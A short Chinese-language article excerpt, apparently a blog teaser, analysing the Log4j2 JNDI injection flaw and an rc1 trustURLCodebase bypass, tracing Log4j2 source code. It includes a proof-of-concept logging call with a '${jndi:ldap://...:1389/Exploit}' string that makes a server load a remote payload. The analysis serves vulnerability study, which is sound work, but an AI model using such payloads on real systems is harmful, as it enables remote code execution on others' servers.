Apache Log4j2 trustURLCodebase绕过/rc1 绕过

0x00 原理

Log4j2 是 Java 开发框架日常使用的日志库,涉及范围广,容易触发
poc 如下

public static void main(String[] args) throws Exception {
    logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
}

后文会提供一个利用环境提供一个利用环境
本次漏洞的 RCE 原理就是经典的 jndi+ldap 注入(jndi 只是其中的一种),利用${xxx} 触发 JndiLookup.lookup,从而加载远程恶意 payload 达到 RCE 效果,只是这次的触发条件太普遍了,毕竟谁都要打 log 不是

跟随 logger.log, 你会一直进入到 LoggerConfig.processLogEvent, 其中关键的地方就是对 event 做了一个 adapter 适配

private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) {
        callAppenders(event);
    }
    logParent(event, predicate);
}

adapter 中会进行 encodeserializeformat, 每个 formatter 都会构造 log 的一部分, 其中的 MessagePatternConverter 存在问题

@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    final int len = formatters.length;
    for (int i = 0; i < len; i++) {
        formatters[i].format(event, buffer);
    }
    if (replace != null) {
        String str = buffer.toString();
        str = replace.format(str);
        buffer.setLength(0);
        buffer.append(str);
    }
    return buffer;
}

继续阅读